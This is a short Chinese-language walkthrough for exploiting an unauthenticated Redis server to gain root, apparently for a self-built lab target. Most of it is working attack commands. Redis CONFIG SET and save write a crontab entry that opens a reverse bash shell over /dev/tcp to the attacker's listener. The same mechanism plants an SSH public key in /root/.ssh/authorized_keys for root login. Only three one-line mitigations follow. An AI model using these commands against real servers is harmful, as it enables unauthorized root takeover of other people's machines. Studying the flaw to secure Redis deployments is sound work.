Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。  
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。  
如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。  

目标:

利用Redis未授权访问漏洞获取root权限

原理:

在redis以root权限运行时,可以写crontab来执行命令反弹shell,然后使用密钥登录服务器

步骤:

  1. 搭建靶机
# CentOS
yum install -y redis
  1. 在自己服务器上监听一个端口
nc -lvnp 9999
  1. 执行命令,创建定时任务
# 连接目标服务器redis
redis-cli -h 10.0.0.11
# 连接成功之后创建定时任务反弹shell
> set x "\n* * * * * bash -i >& /dev/tcp/10.0.0.3/9999 0>&1"
> config set dir /var/spool/cron/
> config set dbfilename root
> save
  1. 写入公钥
# 本地生成一对密钥
ssh-keygen -t rsa
# 将公钥写入一个文件,内容前后要加两个换行
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt
# 将公钥放入目标服务器键`crackit`里面
cat foo.txt | redis-cli -h 10.0.0.11 -x set crackit
# 连接目标Redis
redis-cli -h 10.0.0.11
# 设置数据库备份目录为/root/.ssh/
> config set dir /root/.ssh/
# 设置备份文件名
> config set dbfilename 'authorized_keys'
# 写入公钥
> save
  1. 测试SSH使用私钥登录服务器
ssh -i id_rsa root@10.0.0.11

规避措施

  1. 限制登录ip
  2. 添加密码
  3. 修改默认端口